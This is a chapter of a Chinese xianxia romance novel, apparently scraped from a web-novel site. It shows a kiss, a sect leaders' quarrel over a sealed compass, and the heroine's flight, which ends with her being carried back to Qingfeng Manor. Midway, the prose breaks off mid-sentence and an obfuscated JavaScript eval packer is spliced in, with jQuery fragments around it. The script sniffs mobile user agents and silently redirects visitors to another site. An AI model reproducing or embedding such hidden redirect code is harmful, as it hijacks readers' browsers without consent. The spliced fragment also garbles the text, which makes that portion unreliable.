63. 第三十二章
作品:《我不覆辙》 冷热对比之下,唇上温热的触感变得异常鲜明,易辛眼睛霎时瞪得又大又圆,浑身都僵住了,一双手都不知往哪儿放,只能滑稽地悬在半空。
极度混乱下,易辛脑子不负众望地冒烟了。
她无措而高频地颤着眼睑,率先浮上脑海的念头是——祁不为入魔了!此时此刻,他神志不清!
可这不应该呀……桃木明明植入体内了,它会镇住那些妖力,不致于勾出魔气。
那他为何举止反常?!
易辛脑子还在乱转,忽然祁不为睁开了眼,惊得她瞳孔一晃,呼吸都凝滞了。
两人近在咫尺地对视上。
从头到尾,祁不为只是贴着不动,这会儿退开些许,望着易辛满脸紧绷,低声道:“你要一直睁着眼睛?”
易辛脑子正一团浆糊,不能睁眼那就闭眼。可刚一闭上,她就反应过来不对——这不是睁眼闭眼的问题。
只是还没来得及睁开,面前光影一暗,温热的吐息便扑面而来,仿佛一层纱落在了眼上,叫她绵软无力不敢再睁开。
看不见之后,其余感官便触觉分明。她感到祁不为正含着自己的唇,时而啃咬,时而吮吻。
呼吸间交织着灼人的热意,烫得易辛头脑发晕,手脚绵软。
她很快就呼吸不过来了,因而从混沌中产生了片刻清明,在灼热又软乎的唇齿交缠里,极力发声道:“不、等等……不是这样的……我们……唔——”
有什么柔软的东西碰到舌尖后,易辛猛打了个激灵,不敢再开口说话,眼睛也跟着闭得更紧。
等祁不为终于高抬贵手让她顺畅呼吸后,易辛早已腿脚无力,后仰趔趄了一步,很快又被他揽住腰背。
她眼里逼出了水光,更衬得眸光干净而迷离,她好不容易张口道:“你……”
才说一个字,祁不为便凝住她的眼睛:“易辛,望天谷中你救了我,我十分感激。”
他望着易辛,还要说些什么,却见她迷茫须臾又豁然开朗,最后蹙起了眉头,连连摆手,极力想解释说清什么似的:“公子想感激我的好意,我心领了……但真不必做到这般地步。”
易辛退开两步:“我对你是有爱慕之意,但你不用牺牲自己……不用这样报答我。”
高温之下,这会儿的功夫里,冰酪已在碗里化成一滩滩黏稠水液,空气里隐动的暧昧也蒸成了逼仄躁热。
易辛这番话,完全在祁不为意料之外。
他几欲张口,却在易辛深深纠结的眉心里沉默了。
知了伏在绿叶间,对着斑驳日光叫嚣,蝉鸣尖锐,惹得人心烦意燥。
大殿内,诸位掌门吵嚷起来。
李纳川仍在首座,被众人围攻。
众人负伤,轻重不一,相比之下,没下封印之地的李纳川显得幸运极了。
“李掌门该给个说法,事关余桓,还有封印之地!”
“必是余桓引着我们去了封印之地!李掌门先前若在大殿上处置了他,便没有后面的祸事。”
祁有为一手支颐,望着殿外发呆。
大家死里逃生一场,又开始了内斗。
李纳川虽一直沉默,但对众人指责似不为所动,某个时刻,他终于抬起眼睛,不复往日温和内敛,面容显得较为强硬:“既然要说余桓,那就不能绕过罗盘。”
李纳川翻掌,罗盘悬在上方:“先前这枚罗盘明明加过封印,好好收在库房之中。仙首大会上,它却忽然躁动并离开了库房,接着指出了那茧妖的孩子。但罗盘必须吃够十人,才可行动。当初我们收复它时,人数分明未到。显然有人故意给他喂食。”
有掌门反驳:“什么意思,你怀疑我们?你怎知不是你门中弟子想要肃清妖邪!”
李纳川:“罗盘是我亲自封印,有能力解开封印的,都在这里了。”
“我可没动你门派的东西!别妄想泼脏水!”
李纳川平稳地把目光落在钱备身上:“你说呢?钱宗主?”
大殿蓦地安静下来。
祁有为有些意外地瞥向李纳川,没想到他有如此直接的一日。
钱备镇定肃容:“要查出这件事,可追踪罗盘上的术法痕迹。若有人想在仙首大会上挑拨离间,必不能轻率放过。”
李纳川:“你们与巨蟒相斗时,我已探明究竟是谁对罗盘动了手脚。”
说罢,他定定地望着钱备,意有所指。
大殿依旧安静,无论先前如何同仇敌忾地想要处置余桓,现在却置身事外地观望二人相斗。
钱备面色如常,只是皱起眉头,仿佛被冤枉了似的:“李掌门,凡事讲究证据。”
祁有为眼也不错地盯着李纳川,想看他能拿出什么证据,结果李纳川却露出耐人寻味的笑意。
“没有证据。”
众人都愣了,心中纷纷骂他没证据还这么笃定,不知搞什么鬼。
李纳川扫向众人,对上每个人的目光再去寻下一个人的双眼:“你们说余桓故意把你们引向封印之地,可有证据?你们说甘华门和余桓同流合污,可有证据?”
大家脸色瞬间精彩纷呈。
“你们可以在没有证据的情况下,问责、定罪,轮到我便不行?”李纳川反问。
李纳川长叹一口气,似是倦了,面容上是掩饰不住的厌恶和讽刺:“仙门议事,总谈些严肃的东西,今日大家齐聚一遭,不容易。余桓之事,便当开胃菜吧,我们也换个轻松些的议题,来聊聊仙门八卦。”
祁有为微微扬眉。
接着,李纳川当真像个说书先生似的娓娓道来,从灵山掌门与沧澜宗宗主夫人牵扯不清、再到其他掌门风流倜傥亲传弟子中大半都是他的子嗣、谁谁谁为了抢夺地盘暗算了谁谁谁……
在场每个人都中了招,前一瞬还在心中暗笑他人,下一刻回旋镖便飞在了自己身上。
八卦勾连利益、利益中滋生八卦,众人顿时互相斥骂起来,争吵中又不自觉牵扯出更多过往。
大殿一改往日威严肃穆,活像个断家务事的调解堂,鸡飞狗跳,荒诞可笑。
祁有为虽极力忍耐,但还是控制不住脸上的惊讶连连,她最能克制的就是没去问上一句“当真如此?”。
那些掌门已经气得站起来,在中央聚成一团,抬手指指点点。
只有祁有为、钱备、李纳川还安坐椅子上。
越过人群,祁有为对上了钱备的视线,那目光很平静,细看又深不可测,仿佛无声的交锋。
发现她对他儿子动手脚了?
祁有为不闪不避,甚至若有似无地笑了一下。
吵了许久,李纳川站起身来,双手交握在身后:“好了,殿外还有弟子,别让他们看了笑话。”
大家吵得面红耳赤,争先恐后地冷哼一声,再甩袖背身。
李纳川:“仙门在望天谷一战,伤及元气,诸位都回去调养生息吧。今日一番小吵只是抛砖引玉,从这个门走出去,今后遇到每一位弟子,都会觉得他们在用目光审判我们,因为我们对清风夫妇见死不救、违背仙门道义。”
大殿一扫热火朝天的争执氛围,空气滞闷起来。
众人脸色各异,心中或有不忿,但终归没发泄出来,谁也不想丢人当这个出头鸟,但他们大多都认为,李纳川伪善,而自己未有多大错处。
他们眉眼乱动,却在对上祁有为平静的目光时,纷纷移开了。
仙门已经撕破了脸面,大概短时间内不会彼此结盟,等他们都离开时,祁有为也准备起身走了,但李纳川喊住了她。
祁有为:“掌门有事?”
“当年的事……是我对不起你师父师娘,对不起你和你弟弟。”
李纳川已经很老了,不知是愧疚折磨,还是岁月无情。
“掌门为此事,已经向我道歉过很多次了。”
祁有为沉默片刻,又道:“你应该对师父师娘说这些,经历生死的是他们。他们是否认同或理解掌门当初的做法,我也不知道,我也没资格代替他们原谅或不原谅掌门。”
再进一步说,斯人已逝,再诚心道歉也是苍白的。
弥补不了任何错误又十分长久的道歉,对受难者来说是另一种伤害。
祁有为落下最后一句:“我弟弟已醒,我们便不再叨扰了,不日便会下山。”
是夜,白三清懒洋洋地躺在塌上,见易辛忙忙碌碌收拾包袱,不禁打了个哈欠,问道:“你做什么趁夜下山呐?”
说着说着,白三清猛地坐起来,瞪大眼睛道:“难道祁不为又欺负你了?!”
易辛连忙打手势要她小点声:“嘘——他没欺负我呀,之前不是说在甘华门攒点钱,继续和你游走四方嘛。”
白三清绕到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17079543|191107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她身旁,探头探脑道:“可他不是要你回清风山庄吗?”
“我又没答应。”
当时她说的可是暂且不谈此事,有桃木傍身,她也没什么需要担心的了。至于那个幕后黑手,祁不为一定会自行解决。
“噢——”白三清拉长语调,“所以你不是趁夜赶路,是趁夜逃跑!”
易辛把包袱打了个结,钱财细软都收拾完毕,望着她道:“听说余桓师兄要下山?”
“是啊,师门上下倒不反感他留在这里,但他觉得如今多事之秋,还是先离开一阵子吧,这样其他门派就没有理由刁难李纳川和甘华门了。日后的事,日后再说。”
易辛点头,又问:“那你是跟余桓师兄走,还是和我走呢?”
白三清一把抱住易辛,扑上去啵了口她的脸蛋:“当然是跟你走了,他们那些修仙之人,每天练得身上臭烘烘的,哪儿比得上女子香喷喷的。”
“那事不宜迟!”
易辛背上包袱,和白三清手拉手地跑了。
晌午时分,两人赶了一夜的路,终于在路边茶铺里歇了会脚。
此地树林茂密,前不着村后不着店,好在有个可供休憩的茶铺。白三清吨吨吨连喝几杯茶,终于消了几分暑气。
易辛也喝了一杯,抹掉额角汗水。
“这天热的,我们何时才能凉快啊?”白三清抱怨道。
“越往北,就越凉快。”易辛说道,第二杯茶也见了底,还要再添一杯时,眼前猛地一黑,突兀晕了过去。
乍见她扑倒在桌面上,白三清着实惊了一番:“易辛?……你怎么了?易辛?醒醒……”
无论白三清怎么晃她,她都毫无反应。白三清愣了好一会儿,脸色变幻莫测,而后猛地起身,一脚踩在凳子上,冲着茶铺老板怒道:“——黑店?!居然打劫打到我们头上了!小命不想要了!”
那老板瞧着憨厚老实,是个本分人,看白三清闹起来了,也吓得不知所措。
“还装?!”白三清怒指老板,“比我这只狐狸精还能演!”
她正要施展那三脚猫的妖力,余光里忽有一道身影飘然落地。
白三清顿时畏缩起来,噤若寒蝉——来者居然是祁不为!
下一瞬,她连忙收起施法的爪子,嚅嗫道:“我、我没害人……”
说到中途,她在祁不为黑沉的目光里息了声,只见他抱起易辛,头也不回地走了。
反应过来后,白三清瞠目结舌。这大魔头抓人来了!是他把易辛弄晕的!
“哎你——”话还没说完,她便感到一阵吸力,眼睁睁看自己被吸进了乾坤袋里。
少顷,密林中又有一人御剑而来。
余桓一边落地一边环顾四周:“祁公子,你说这里有妖怪,哪呢……?”
看到他怀里昏迷的易辛,余桓惊道:“易辛怎么了?遇上妖怪了?”
话落,一只乾坤袋悬在余桓身前,祁不为面无表情道:“这头妖怪十分顽劣,你要好好教导,引她走向正道。”
余桓一听,连推卸也没有便接住了那只乾坤袋,只见袋子拱来拱去,不由道:“这妖被收了还不伏诛,确实顽劣。”
祁不为点点头:“清风山比望天谷好看多了,有空来坐坐。”
余桓明白这是邀请好意,笑着拱手:“改日一定去。”
两人各自颔首致意,就此别过。
芙蓉镇外的某处路口。
祁有为和易张稚正候在此处。封印之地里,易张稚受了些伤,便同她一道回清风山庄休整。
临行前,祁不为让他们等在路口,说易辛想去一个地方,他陪着一起,很快回来。
果然,没等多久,祁有为便远远看见人来了。
只是等走进了,她才发现易辛正趴在祁不为背上,看起来好像睡过去了。
不等发问,祁不为便主动解释道:“玩累了。我们动身吧,早点回山庄,早点休息。”
“好。”她没多想,同众人一起御剑离开。
易辛趴在祁不为背上,周身流云迢迢,月麟香随风送入鼻尖,虽昏迷不醒,但她还是呢喃了一句:“祁不为……”
云烟滚滚中,这道声音极其细微,但祁不为仍然听到了。他略一偏头,眉目不动,易辛细碎的发梢撩过他下颔和脖子。
稍后,他应了一声:“嗯。”

